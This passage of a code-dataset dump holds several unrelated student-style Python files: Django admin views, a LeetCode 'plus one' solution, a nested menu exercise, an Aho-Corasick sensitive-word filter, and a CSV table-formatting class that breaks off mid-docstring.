[]\r\n\r\n for d in dList:\r\n if d == TList.Department:\r\n f_array.append(d)\r\n\r\n for d in dList:\r\n add_array.append(d)\r\n\r\n odd_word = list((Counter(add_array) - Counter(f_array)).elements())\r\n\r\n dep = Department.objects.all()\r\n context = {'departments':dep,'p_url':list2,'add_dep':odd_word,'rem_dep':f_array}\r\n\r\n return render(request,'admin_tools/addDepTeach.html',context)\r\n\r\n\r\ndef AssignCourseTeach(request,pk):\r\n\r\n courseList1 = Course.objects.filter(id=pk).first()\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n courseList = Teacher.objects.filter(id=list2).first()\r\n Stdns = Student.objects.all()\r\n\r\n if Attendence.objects.filter(Course=courseList1,teacher=courseList):\r\n print(\"Attendence Object Exists\")\r\n else:\r\n atts = Attendence.objects.create(Course=courseList1)\r\n atts.teacher.add(courseList)\r\n print(\"Attendence Object Created..!!!\")\r\n\r\n for sts in Stdns:\r\n for sts1 in sts.Courses.all():\r\n if sts1 == courseList1:\r\n atndnce = Attendence.objects.filter(Course=courseList1,teacher=courseList).first()\r\n atndnce.student.add(sts)\r\n print('STUDENT added to this attendence')\r\n else:\r\n pass\r\n\r\n if Teacher.objects.filter(id=list2,Courses=courseList1).exists():\r\n print('THIS IS COURSE ALREADY EXISTS')\r\n pass\r\n else:\r\n courseList.Courses.add(courseList1)\r\n print('THIS IS COURSE IS ADDED')\r\n\r\n return redirect('showCourseTeach',list2)\r\n\r\ndef Departments(request):\r\n\r\n dep = Department.objects.all()\r\n context = {'departments':dep}\r\n\r\n return render(request,'admin_tools/departments.html',context)\r\n\r\ndef ChangeDepartment(request):\r\n\r\n dep = Department.objects.all()\r\n context = {'departments':dep}\r\n\r\n return render(request,'admin_tools/Changedepartments.html',context)\r\n\r\n\r\ndef ChangeDepFaculty(request,pk):\r\n\r\n dep = Department.objects.filter(id=pk).first()\r\n hod = Teacher.objects.all()\r\n\r\n f_array = []\r\n add_array = []\r\n\r\n for t in hod:\r\n for d in dep.Faculty.all():\r\n if d == t:\r\n f_array.append(d)\r\n\r\n for t in hod:\r\n add_array.append(t)\r\n\r\n odd_word = list((Counter(add_array) - Counter(f_array)).elements())\r\n\r\n for items in odd_word:\r\n print(items)\r\n\r\n context = {'dep':dep,'add_f':odd_word,'remove_f':f_array}\r\n\r\n return render(request,'admin_tools/Faculty_list.html',context)\r\n\r\ndef RemoveFaculty(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n faculty = Teacher.objects.filter(id=pk).first()\r\n dep = Department.objects.filter(id=list2).first()\r\n\r\n if Department.objects.filter(id=list2,Faculty=faculty).exists():\r\n dep.Faculty.remove(faculty)\r\n else:\r\n pass\r\n\r\n return redirect('ChangeDepFaculty',list2)\r\n\r\ndef SelectDepFaculty(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n faculty = Teacher.objects.filter(id=pk).first()\r\n dep = Department.objects.filter(id=list2).first()\r\n\r\n if Department.objects.filter(id=list2,Faculty=faculty).exists():\r\n print('FACULTY ALREADY EXISTS')\r\n else:\r\n dep.Faculty.add(faculty)\r\n\r\n return redirect('ChangeDepFaculty',list2)\r\n\r\n\r\ndef ChangeDepHOD(request,pk):\r\n\r\n dep = Department.objects.filter(id=pk).first()\r\n hod = Teacher.objects.all()\r\n\r\n add_c = []\r\n rem_c = []\r\n d = dep.HOD\r\n for t in hod:\r\n if d == t:\r\n print(d.Name)\r\n rem_c.append(d)\r\n\r\n for t in hod:\r\n add_c.append(t)\r\n\r\n odd_word = list((Counter(add_c) - Counter(rem_c)).elements())\r\n\r\n context = {'dep':dep,'teachers':rem_c,'add_hod':odd_word}\r\n\r\n return render(request,'admin_tools/HOD_list.html',context)\r\n\r\n\r\ndef SelectDepHOD(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n hod = Teacher.objects.filter(id=pk).first()\r\n dep = Department.objects.filter(id=list2).first()\r\n\r\n dep.HOD = hod\r\n dep.save()\r\n\r\n return redirect('ChangeDepHOD',list2)\r\n\r\n\r\ndef ChangeDepCourses(request,pk):\r\n\r\n dep = Department.objects.filter(id=pk).first()\r\n c = Course.objects.all()\r\n\r\n add_c = []\r\n rem_c = []\r\n\r\n for courses in c:\r\n for d in dep.courses.all():\r\n if d == courses:\r\n print(d.Course_Name)\r\n rem_c.append(d)\r\n\r\n for courses in c:\r\n add_c.append(courses)\r\n\r\n odd_word = list((Counter(add_c) - Counter(rem_c)).elements())\r\n\r\n context = {'dep':dep,'courses':rem_c,'add_c':odd_word}\r\n\r\n return render(request,'admin_tools/DepCourse_list.html',context)\r\n\r\ndef SelectDepCourses(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n c = Course.objects.filter(id=pk).first()\r\n dep = Department.objects.filter(id=list2).first()\r\n\r\n if Department.objects.filter(id=list2,courses=c).exists():\r\n pass\r\n else:\r\n dep.courses.add(c)\r\n\r\n return redirect('ChangeDepCourses',list2)\r\n\r\ndef RemoveDepCourses(request,pk):\r\n\r\n p_url = request.META.get('HTTP_REFERER')\r\n list2 = p_url[-2:]\r\n\r\n c = Course.objects.filter(id=pk).first()\r\n dep = Department.objects.filter(id=list2).first()\r\n\r\n if Department.objects.filter(id=list2,courses=c).exists():\r\n dep.courses.remove(c)\r\n else:\r\n pass\r\n\r\n return redirect('ChangeDepCourses',list2)\r\n\r\ndef AddDepartments(request):\r\n\r\n DeptForm = DepartmentForm(request.POST)\r\n\r\n if DeptForm.is_valid():\r\n DeptForm.save()\r\n return redirect('Departments')\r\n\r\n context = {'form':DeptForm}\r\n \r\n return render(request,'admin_tools/addDepartments.html',context)\r\n\r\ndef Academic_Session(request):\r\n\r\n context = locals()\r\n return render(request,'admin_tools/academic_sessions.html',context)\r\n\r\ndef AllSemester(request):\r\n\r\n context = locals()\r\n return render(request,'admin_tools/all_semester.html',context)\r\n","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":58567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"502046379","text":"\"\"\"\nGiven a non-negative number represented as an array of digits, plus one to the number.\n\nThe digits are stored such that the most significant digit is at the head of the list.\n\"\"\"\n\n\n\nclass Solution(object):\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n pre = 1 # 表示进位 初值为1\n\n for i in range(len(digits)-1,-1,-1):\n now_sum = digits[i]+pre\n if now_sum >= 10:\n digits[i] = now_sum -10\n pre = 1\n else : \n digits[i] = now_sum\n pre = 0\n if pre == 1:\n digits.insert(0,1)\n return digits\n\n\n\n\n\"\"\"\nS2 : 因为只是+1, 只有当999 时候才会产生进位, 而当末尾!=9 时候 +1 直接返回即可\n\n\"\"\"\n\n\nclass Solution2(object):\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n for i in range(len(digits)-1,-1,-1):\n if digits[i] ==9:\n digits[i]=0\n else :\n digits[i]+=1\n return digits\n\n digits.insert(0,1)\n return digits\n\n \n\n\n\n\nif __name__ == '__main__':\n S = Solution2()\n ss = S.plusOne([9,9,6])\n print(ss) \n\n\n\n\n\n\"\"\"\n给一个数字存放在list中,+1 返回。 此题是2_Add Two Numbers 的简化。\n\n\"\"\" ","sub_path":"66_Plus One.py","file_name":"66_Plus One.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"642993412","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# __author__ = \"Q1mi\"\n# Date: 2017/10/2\n\n# 要求:\n#\n# 1.打印省、市、县三级菜单\n# 2.可返回上一级\n# 3.可随时退出程序\n\nmenu = {\n '北京':{\n '海淀':{\n '五道口':{\n 'soho':{1},\n '网易':{},\n 'google':{}\n },\n '中关村':{\n '爱奇艺':{},\n '汽车之家':{},\n 'youku':{},\n },\n '上地':{\n '百度':{},\n },\n },\n '昌平':{\n '沙河':{\n '老男孩':{666},\n '北航':{},\n },\n '天通苑':{},\n '回龙观':{},\n },\n '朝阳':{},\n '东城':{},\n },\n '上海':{\n '闵行':{\n \"人民广场\":{\n '炸鸡店':{}\n }\n },\n '闸北':{\n '火车战':{\n '携程':{}\n }\n },\n '浦东':{},\n },\n '山东':{\n\t\t'临沂':{\n\t\t\t'苍山':{\n\t\t\t\t'刘媛媛':{\n\t\t\t\t\t'刘媛媛作业写完了吗'\n\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t'济南':{\n\t\t\t'高新区':{\n\t\t\t\t'冯冰茹':{\n\t\t\t\t\t'冯冰茹又晒黑了吗'\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n}\n\nexit_flag = False\n\n# def function(value,choice,exit_flag):\n# while not exit_flag:\n# \tfor key in value:\t\t#输出列表\n# \t\tprint(key)\n# \tchoice = input(\">:\") # 等待输入\n# \tif choice == 0:\t\t\t#判断输入是否为空\n# \t\tcontinue\n# \tif choice == \"q\":\n# \t\texit_flag = True\n# \t\tcontinue\nwhile not exit_flag:\n\tfor key in menu:\t\t#打印出\"北京\"、\"上海\"、\"山东\"\n\t\tprint(key)\n\tchoice = input(\">:\")\t\t#等待输入\n\tif choice == 0:\t\t\t#判断输入是否为空\n\t\tcontinue\n\tif choice == \"q\":\n\t\texit_flag = True\n\t\tcontinue\n\tif choice in menu:\t\t#判断输入是否在\"北京、上海、山东\"\n\t\twhile not exit_flag:\n\t\t\tnext_layer= menu[choice]\n\t\t\tfor key in next_layer:\n\t\t\t\tprint(key)\n\t\t\tchoice2 = input(\">>:\") # 等待输入\n\t\t\tif choice2 == 0: # 判断输入是否为空\n\t\t\t\tcontinue\n\t\t\tif choice2 == \"b\":\n\t\t\t\tbreak\n\t\t\tif choice2 == \"q\":\n\t\t\t\texit_flag = True\n\t\t\t\tcontinue\n\t\t\tif choice2 in next_layer:\t#判断输入是否在\"海淀昌平朝阳东城\"\n\t\t\t\twhile not exit_flag:\n\t\t\t\t\tnext_layer2 = next_layer[choice2]\n\t\t\t\t\tfor key in next_layer2:\n\t\t\t\t\t\tprint(key)\n\t\t\t\t\tchoice3 = input(\">>>:\") # 等待输入\n\t\t\t\t\tif choice3 == 0: # 判断输入是否为空\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif choice3 == \"b\":\n\t\t\t\t\t\tbreak\n\t\t\t\t\tif choice3 == \"q\":\n\t\t\t\t\t\texit_flag = True\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif choice3 in next_layer2:\t#判断输入是否在\"县名\"\n\t\t\t\t\t\twhile not exit_flag:\n\t\t\t\t\t\t\tnext_layer3 = next_layer2[choice3]\n\t\t\t\t\t\t\tfor key in next_layer3:\n\t\t\t\t\t\t\t\tprint(key)\n\t\t\t\t\t\t\tchoice4 = input(\">>>>:\") # 等待输入\n\t\t\t\t\t\t\tif choice4 == 0: # 判断输入是否为空\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tif choice4 == \"b\":\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tif choice4 == \"q\":\n\t\t\t\t\t\t\t\texit_flag = True\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tif choice4 in next_layer3: # 判断输入是否在\"单位名\"\n\t\t\t\t\t\t\t\twhile not exit_flag:\n\t\t\t\t\t\t\t\t\tnext_layer4 = next_layer3[choice4]\n\t\t\t\t\t\t\t\t\tfor key in next_layer4:\n\t\t\t\t\t\t\t\t\t\tprint(key)\n\t\t\t\t\t\t\t\t\tchoice5 = input(\">>>>>:\") # 等待输入\n\t\t\t\t\t\t\t\t\tif choice5 == 0: #判断输入是否为空\n\t\t\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t\t\tif choice5 == \"b\":\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\tif choice5 == \"q\":\n\t\t\t\t\t\t\t\t\t\texit_flag = True\n","sub_path":"Day13/三级菜单.py","file_name":"三级菜单.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"595307339","text":"def wk_algo(number):\n if number%2==0:\n return 'A'\n elif number%3==0:\n return 'F'\n elif number%5==0:\n return 'K'\n elif number%7==0:\n return 'P'\n elif number%11==0 or number%13==0:\n return 'T'\n else:\n return 'Z'\n\ndef code(days, hours, minutes):\n sum1=days*1440+hours*60+minutes\n print(sum1)\n str_num=str(sum1)\n len1=len(str_num)\n if len1>=4:\n fourth_digit=int(str_num[len1-4])\n else:\n fourth_digit=0\n first_digit=int(str_num[len1-1])\n number1=fourth_digit*10+first_digit\n print(number1)\n number2=round(number1**0.5,3)*1000%1000//10\n return wk_algo(number1)+wk_algo(number2)\nprint(code(2, 3, 5))\n","sub_path":"Past Year Prac/Q1-Game Code.py","file_name":"Q1-Game Code.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"161580684","text":"import re\r\nimport sys\r\nfrom xpinyin import Pinyin\r\n\r\n\r\nclass ac_node(object):\r\n\r\n def __init__(self):\r\n self.child = dict()\r\n self.word = \"\"# 敏感词序列\r\n self.source = \"\"# 原敏感词\r\n self.fail = None\r\n self.tail = None\r\n self.length = 0\r\n\r\n\r\nclass ac_tree(object):\r\n\r\n def __init__(self):\r\n self.root = ac_node()\r\n self.phrase_list = [] # 相关联的词\r\n self.spell_mnge = Pinyin()# 用于处理汉字拼音\r\n self.words_combination = [] # 检测文本的匹配序列\r\n self.phrase_matrix = []#矩阵\r\n\r\n def prepare_words(self, phrase_combine): # 敏感词列表参数\r\n # phrase为单个敏感词,未经组合的敏感词\r\n for index, pha in enumerate(phrase_combine):\r\n if index == len(phrase_combine) - 1:\r\n self.str_matrix(pha)\r\n else:\r\n self.str_matrix(pha[:-1])\r\n for single_word in self.phrase_list:\r\n if index == len(phrase_combine) - 1:\r\n self.build_tree(single_word, pha)\r\n else:\r\n self.build_tree(single_word, pha[:-1])\r\n self.make_fail()\r\n\r\n\r\n def str_matrix(self, phrases):# 将敏感词转矩阵\r\n for single_letter in phrases:\r\n self.phrase_matrix.append(['[' + self.spell_mnge.get_pinyin(single_letter).replace('-', '') + ']',\r\n self.spell_mnge.get_pinyin(single_letter).replace('-', ''),\r\n str.lower(self.spell_mnge.get_initials(single_letter).replace('-', ''))])\r\n self.insert_tree(len(phrases))\r\n\r\n def insert_tree(self, layer: int):\r\n # 递归建树,获取每一行的\r\n self.loop_Insert(0, layer, \"\")\r\n self.phrase_matrix.clear()\r\n\r\n\r\n def loop_Insert(self, row_now: int, layer: int, phrase: str):# 递归建树\r\n if row_now == layer:\r\n self.phrase_list.append(phrase)\r\n return\r\n else:\r\n for column_now in range(0, 3):\r\n self.loop_Insert(row_now + 1, layer,phrase + self.phrase_matrix[row_now][column_now])\r\n\r\n def build_tree(self, phrase, initial):\r\n tmp_root = self.root\r\n length = 0\r\n sign = ''\r\n toge_total = 0\r\n for i in range(0, len(phrase)):\r\n if phrase[i] == '[':\r\n toge_total = True\r\n continue\r\n if phrase[i] == ']':\r\n toge_total = False\r\n length += 1\r\n if sign not in tmp_root.child:\r\n node = ac_node()\r\n node.word = sign\r\n tmp_root.child.update({sign: node})\r\n tmp_root = tmp_root.child[sign]\r\n sign = \"\"\r\n continue\r\n if toge_total:\r\n sign += phrase[i]\r\n continue\r\n else:\r\n length += 1\r\n sign = phrase[i]\r\n if sign not in tmp_root.child:\r\n node = ac_node()\r\n node.word = sign\r\n tmp_root.child.update({sign: node})\r\n tmp_root = tmp_root.child[sign]\r\n sign = \"\"\r\n if tmp_root.source == \"\":\r\n tmp_root.source = initial\r\n tmp_root.length = length\r\n\r\n def make_fail(self):\r\n temp_list = [self.root]\r\n while len(temp_list) != 0:#遍历\r\n pre_root = temp_list.pop(0)\r\n for key, value in pre_root.child.items():\r\n if pre_root == self.root:\r\n pre_root.child[key].fail = self.root\r\n else:\r\n point = pre_root.fail\r\n while point is not None:\r\n if key in point.child:\r\n pre_root.child[key].fail = point.fail\r\n break\r\n point = point.fail\r\n if point is None:\r\n pre_root.child[key].fail = self.root\r\n temp_list.append(pre_root.child[key])\r\n def search_senten(self, sentence, line):\r\n index_list = []\r\n temp = self.root\r\n for index, letter in enumerate(sentence):\r\n if self.illegal_word(letter):\r\n continue\r\n letter = self.spell_mnge.get_pinyin(letter).replace('-', '')\r\n while temp.child.get(str.lower(letter)) is None and temp.fail is not None:\r\n temp = temp.fail\r\n if temp.child.get(str.lower(letter)) is not None:\r\n temp = temp.child.get(str.lower(letter))\r\n else:\r\n continue\r\n if temp.length:\r\n af_start = self.match_word(node=temp, sentence=sentence, position=index, line=line)\r\n if len(index_list):\r\n if af_start == index_list[len(index_list) - 1]:\r\n self.words_combination.pop(len(self.words_combination) - 2)\r\n index_list.append(af_start)\r\n\r\n def match_word(self, node, sentence, position, line: int) -> int:\r\n matched_part = \"\"\r\n word_length = node.length\r\n while word_length:\r\n if self.illegal_word(sentence[position]):# 忽略非法字符\r\n matched_part = matched_part + sentence[position]\r\n else:\r\n matched_part = matched_part + sentence[position]\r\n word_length -= 1\r\n position -= 1\r\n matched_part = matched_part[::-1]\r\n for letter in matched_part:\r\n number = bool(re.search(r'\\d', matched_part))\r\n if number:\r\n return -1\r\n self.words_combination.append(\"Line\" + str(line) + \": <\" + node.source + \"> \" + matched_part)\r\n return position\r\n\r\n @staticmethod\r\n def illegal_word(letter) -> bool:\r\n if letter in \"0123456789[\\\"`~!@#$%^&*()+=|{}':;',\\\\.<>/?~!@#¥%……&*()——+| {}【】‘;:”“’。,、?_] \\n\":\r\n return True\r\n return False\r\n\r\n def write_file(self, file_name):\r\n f = open(file_name, \"a\", encoding=\"utf-8\")\r\n f.write(\"Total: \" + str(len(self.words_combination)) + \"\\n\")\r\n for element in self.words_combination:\r\n f.write(element + \"\\n\")\r\n f.close()\r\n pass\r\n\r\nif __name__ == \"__main__\":\r\n model = ac_tree()\r\n word_file = open(\"words.txt\", encoding='utf-8')\r\n org_file = open(\"org.txt\", encoding='utf-8')\r\n sw = word_file.readlines()\r\n org = org_file.readlines()\r\n word_list = []\r\n for line in sw:\r\n line = line.strip()\r\n word_list.append(line)\r\n model.prepare_words(word_list)\r\n for xs in org:\r\n model.search_senten(str(xs), org.index(xs) + 1)\r\n model.write_file(\"bws.txt\")\r\n word_file.close()\r\n org_file.close()\r\n","sub_path":"test_version2.py","file_name":"test_version2.py","file_ext":"py","file_size_in_byte":6892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"455218373","text":" ###########################################################\n # Computer Project #11\n #\n # Algorithm\n # class to define a cell component of a CSV\n # function to initialize the object and its attributes\n # function to build a formatted string for printing the value\n # calls on functions to get the width and special formatting\n # builds formatted string for printing the value\n # function to return the value from __str__\n # function to redefine the cell's alignment attribute\n # cell's alignment attribute is the parameter align\n # function to return the value from __alignment\n # function to redefine the cell's value attribute\n # cell's value attribute is the parameter value\n # function to return the value from __value\n # class to process a csv file and store its data for output\n # function to initialize the worker class\n # if there is a file pointer, calls on read_file\n # function to iterate over a file object and store the data\n # for loop for every row\n # for loop for every cell in the row\n # replace NULL with empty string\n # stores width of item\n # calculates number of columns\n # set all values in special to be None\n # function to overload the [] operator to access values in __data\n # function to overload the [] operator to set values in __data\n # function to overload the __str__ method to convert data to a string\n # function to return the value of __str__\n # function to print the maximum of limit number of lines\n # if there is no limit, print the data\n # converts data to string for every line up to limit\n # function to remove a row of data at an index\n # reduces the number of rows\n # function to set the width of the column of __data at index\n # function to get information about the width of the column\n # function to linkn special formatting function to the column\n # function to get special formatting function assigned to the column\n # function to set the alignment of a specific column\n # function to get number of columns in the CsvWorker object\n # function to get number of rows in the CsvWorker object\n # function to create a new CsvWorker object that is a minimized version\n # creates list of data same length as number of rows\n # creates list of widths of each column to add to new CsvWorker\n # appends cell to list of data\n # gets special for each cell in columns\n # adds data to new CsvWorker\n # function to write the data into a CSV file names by the parameter\n # writes rows into CSV files until reaches limit\n # function to write data into a text file\n # write using the limited_str method\n # function to find the cell with the minimum value in a column\n # ensures the cell value is a number\n # determines cell with minimum value\n # if cell value is not a number, skip\n # function to find the cell with the maximum value in a column\n # ensures the cell value is a number\n # determines cell with maximum value\n # if cell value is not a number, skip\n # function to open a file\n # open the file inputted\n # if input a file name not found, reprompt\n # function to print the value in percentage form\n # converts the value to a float then prints as a percentage\n # just print the value if cannot convert to float\n # function to print the value in a currency form\n # converts the value to a float then prints as a currency\n # just print the value if cannot convert to float\n # function to call on other functions\n # opens and minimizes a csv file\n # sets formatting\n # writes file to a text and csv format\n # checks maximum and minimum ACTs and Earnings\n ###########################################################\n \nimport csv\nclass Cell(object):\n '''Defines a cell component of a CSV.\n '''\n \n def __init__(self, csv_worker = None, value = '', column = 0, alignment = '^'):\n '''Initializes the object and its attributes.\n self: instance of the class\n csv_worker: spreadsheet cell is in\n value: value in the cell\n column: column of the cell\n alignment: alignment formatting \n '''\n self.__csv_worker = csv_worker \n self.__value = value \n self.__column = column \n self.__alignment = alignment \n \n def __str__(self): \n '''Builds a formatted string for printing the value.\n self: instance of the class\n Returns formatted string.\n '''\n WWW = self.__csv_worker.get_width(self.__column)\n #get cell width\n special = self.__csv_worker.get_special(self.__column)\n #formatting special values\n if special:\n val = special(self.__value)\n else:\n val = self.__value\n #formatted string\n S = \"{:{align}{width}}\".format(val, align=self.__alignment, width=WWW) \n return S #return string\n\n def __repr__(self):\n '''Calls on __str__ and returns the value.\n self: instance of the class\n Returns a shell representation of a Cell object.\n '''\n return self.__str__()\n \n def set_align(self, align): \n '''Redefines cell's alignment attribute from the parameter.\n self: instance of the class\n align: alignment string, left/right/center\n ''' \n self.__alignment = align\n #cell's alignment attribute is the parameter align\n \n def get_align(self): \n '''Calls on __alignment and returns the value.\n self: instance of the class\n Returns the object's alignment.\n ''' \n return self.__alignment\n \n def set_value(self, value): \n '''Redefines cell's value attribute from the parameter.\n self: instance of the class\n value: new value attribute\n ''' \n self.__value = value\n #cell's value attribute is the parameter value\n \n def get_value(self): \n ''' Calls on __value and returns the value.\n self: instance of the class\n Returns the object's value.\n ''' \n return self.__value\n\nclass CsvWorker(object):\n '''Takes a csv file as input and processes it, then stores its data for output. \n '''\n \n def __init__(self, fp = None):\n '''Initializes the worker class.\n self: instance of the class\n fp: file pointer\n '''\n\n self.__columns = 0\n self.__rows = 0\n self.__data = [] #list of lists of all cells in spreadsheet\n self.__widths = [] #lists of widths of columns\n self.__special = [] #list of special formatting instructions\n #if there is a file pointer\n if fp:\n self.read_file(fp)\n \n def read_file(self, fp): \n '''Iterate over a file object and store the data.\n self: instance of the class\n fp: file pointer\n '''\n reader = csv.reader(fp)\n for line_list in reader: #loop for every row\n data_list = []\n column_count = 0 #number of columns\n self.__rows += 1 #number of rows\n \n for item in line_list: #item = cell\n if item == \"NULL\": #if the value is \"NULL\"\n item = \"\"\n \n if len(self.__widths) <= column_count:\n self.__widths.append(0)\n #number of widths based on number of columns\n \n if len(item) > self.__widths[column_count]:\n self.__widths[column_count] = len(item)\n #stores width of the item\n \n c = Cell(self,item,column_count)\n data_list.append(c) #list of cells in row\n column_count += 1\n \n if column_count > self.__columns:\n self.__columns = column_count #number of columns\n self.__data.append(data_list) #list of lists, list is cells in row\n \n for i in range(self.__columns):\n self.__special.append(None)\n #all values in special should be None\n\n fp.close()\n \n def __getitem__(self, index):\n '''Overloads the [] operator to access values in __data.\n self: instance of the class\n index: index of data to access\n Returns object's data at the index.\n '''\n return self.__data[index]\n \n def __setitem__(self, index, value):\n '''Overloads the [] operator to set values in __data.\n self: instance of the class\n index: index of data to access\n value: value to set in __data\n '''\n self.__data[index] = value\n \n def __str__(self): \n '''Overload the __str__ method to convert the class data to a string.\n self: instance of the class\n Returns string of cells and carriage returns\n ''' \n my_string = ''\n for row in self.__data:\n for cell in row:\n my_string += str(cell) #converts class data to string\n my_string += '\\n' #carriage return to each row\n return my_string\n \n def __repr__(self):\n '''Calls on __str__ and returns the value.\n self: instance of the class\n Returns a shell representation of a Cell object.\n '''\n return self.__str__()\n \n def limited_str(self, limit): \n '''Prints maximum of limit number of lines. \n self: instance of the class\n limit: how many lines to print\n Returns either the data or a string of cells and carriage returns\n ''' \n count = 0 \n result = ''\n if limit == None: #if there is no limit, print the data\n return str(self)\n for row in self.__data:\n for column in row:\n result += str(column) #converts data to string\n count += 1 #line count\n result += '\\n' #carriage return\n if count >= limit: #once reach line limit\n break\n return result \n \n def remove_row(self, index):\n '''Removes a row of data at an index.\n self: instance of the class\n index: row of data to remove\n Returns data without the row at the index\n '''\n self.__data.pop(index) #remove the row at the index\n self.__rows -= 1 #reduce the number of rows\n return self.__data\n \n def set_width(self, index, width): \n '''Sets width of the column of __data at index.\n self: instance of the class\n index: index of column to alter\n width: new width value of the column\n ''' \n self.__widths[index] = width\n\n def get_width(self, index): \n '''Gets information about the width of the column.\n self: instance of the class\n index: index of column\n Returns width of the column at index.\n ''' \n return self.__widths[index]\n\n def set_special(self, column, special):\n '''Links special formatting function to the column.\n self: instance of the class\n column: column to assign to\n special: formatting function \n '''\n self.__special[column] = special\n\n def get_special(self, column):\n '''Gets special formatting function assigned to the column.\n self: instance of the class\n column: column to get information of\n Returns special formatting function assigned to a column.\n '''\n return self.__special[column]\n\n def set_alignment(self, column, align): \n '''Sets the alignment of a specific column.\n self: instance of the class\n column: column to set\n align: alignment of column\n ''' \n if align != '<' and align != '>' and align != '^':\n raise TypeError\n #if the alignment is not left, right, center\n \n for row in self.__data:\n row[column].set_align(align) \n #set alignment of column \n \n def get_columns(self): \n '''Gets number of columns in the CsvWorker object.\n self: instance of the class\n Returns number of columns in the CsvWorker object.\n ''' \n return self.__columns\n \n def get_rows(self): \n '''Gets number of rows in the CsvWorker object.\n self: instance of the class\n Returns number of rows in the CsvWorker object.\n ''' \n return self.__rows\n \n def minimize_table(self, columns): \n '''Creates a new CsvWorker object that is a minimized version \\\n of the original.\n self: instance of the class\n columns: columns to add to the new CsvWorker object\n Returns the new CsvWorker object.\n '''\n new_csvworker = CsvWorker() #create new CsvWorker\n new_list = []\n for rows in self.__data:\n new_list.append([]) \n #creates list of data same length as number of rows\n \n new_widths = []\n for i in columns: \n new_widths.append(self.__widths[i]) \n #creates list of widths of each column to add to new CsvWorker object\n \n new_csvworker.__widths = new_widths\n \n for i, row in enumerate(self.__data):\n column_count = 0\n for column in columns:\n cell = Cell(new_csvworker, value = row[column].get_value(), \\\n column = column_count, alignment = row[column].get_align())\n #creates cell\n column_count += 1\n new_list[i].append(cell)\n #append cell to list of data\n \n new_special = []\n \n for i in columns:\n new_special.append(self.__special[i])\n #get special for each in columns\n \n #add data to new CsvWorker\n new_csvworker.__special = new_special\n new_csvworker.__data = new_list\n new_csvworker.__rows = self.__rows\n new_csvworker.__columns = len(columns)\n \n return new_csvworker\n \n def write_csv(self, filename, limit = None): \n '''Writes the data into a CSV file named by the filename parameter.\n self: instance of the class\n filename: name of CSV file\n limit: limits the number of rows to write in the CSV file\n ''' \n fp = open(filename, \"w\", encoding = \"utf-8\")\n count = 0 \n \n result = ''\n\n for row in self.__data:\n for column in row:\n result += column.get_value() + \",\" #make a CSV\n count += 1\n result = result[:-1] #remove end comma\n result += '\\n' #add carriage return\n if limit and count >= limit: #once reach row limit\n break\n \n fp.write(result) #write data into file\n\n fp.close()\n \n def write_table(self, filename, limit = None): \n '''Writes the data into a tabular formatted text file named filename. \n self: instance of the class\n filename: name of CSV file\n limit: limits the number of rows to write in the CSV file\n ''' \n fp = open(filename, \"w\")\n fp.write(self.limited_str(limit)) #write using the limited_str method\n fp.close()\n \n def minimum(self, column): \n '''Finds the cell with the minimum value in a column.\n self: instance of the class\n column: column of cells\n Returns the cell with the minimum value of a column.\n ''' \n min_value = 100000000\n min_cell = None\n for row in self.__data:\n cell = row[column]\n try:\n value = float(cell.get_value()) \n #Ensure the cell value is a number\n if value < min_value:\n min_value = value #determine minimum value\n min_cell = cell #determine cell with minimum value\n\n except ValueError: #if cell value is not a number, skip\n continue\n return min_cell\n \n def maximum(self, column):\n '''Finds the cell with the maximum value in a column.\n self: instance of the class\n column: column of cells\n Returns the cell with the maximum value of a column.\n ''' \n max_value = 0\n max_cell = None\n\n for row in self.__data:\n cell = row[column]\n try:\n value = float(cell.get_value())\n #Ensure the cell value is a number\n if value > max_value:\n max_value = value #determine the maximum value\n max_cell = cell #determine cell with maximum value\n\n except ValueError: #if cell value is not a number, skip\n continue\n return max_cell \n\ndef open_file():\n \"\"\"Open a file.\n Returns a file pointer.\"\"\"\n \n while True:\n try:\n filename = input(\"Input a file name: \") #Open the file inputted\n fp = open(filename, encoding=\"utf-8\")\n return fp\n except FileNotFoundError: #If input a file name not found\n print(\"File not found. Try again\")\n continue\n\ndef percentage(value):\n '''Print value in percentage form.\n value: value to print\n Returns either formatted value or original value.\n '''\n try:\n value = float(value) #make the value a float\n return \"{:.1f}%\".format(value) #percentage form\n \n except ValueError: #if not a float\n return value\n\ndef currency(value):\n '''Print value in currency form.\n value: value to print\n Returns either formatted value or original value.\n '''\n try:\n value = float(value) #make the value a float\n return \"${:,.2f}\".format(value) #currency form\n \n except ValueError: #if not a float\n return value\n\ndef main(): \n '''\n Opens and minimizes a csv file \n Sets formatting\n Writes file to a text and csv format\n Checks maximum and minimum ACTs 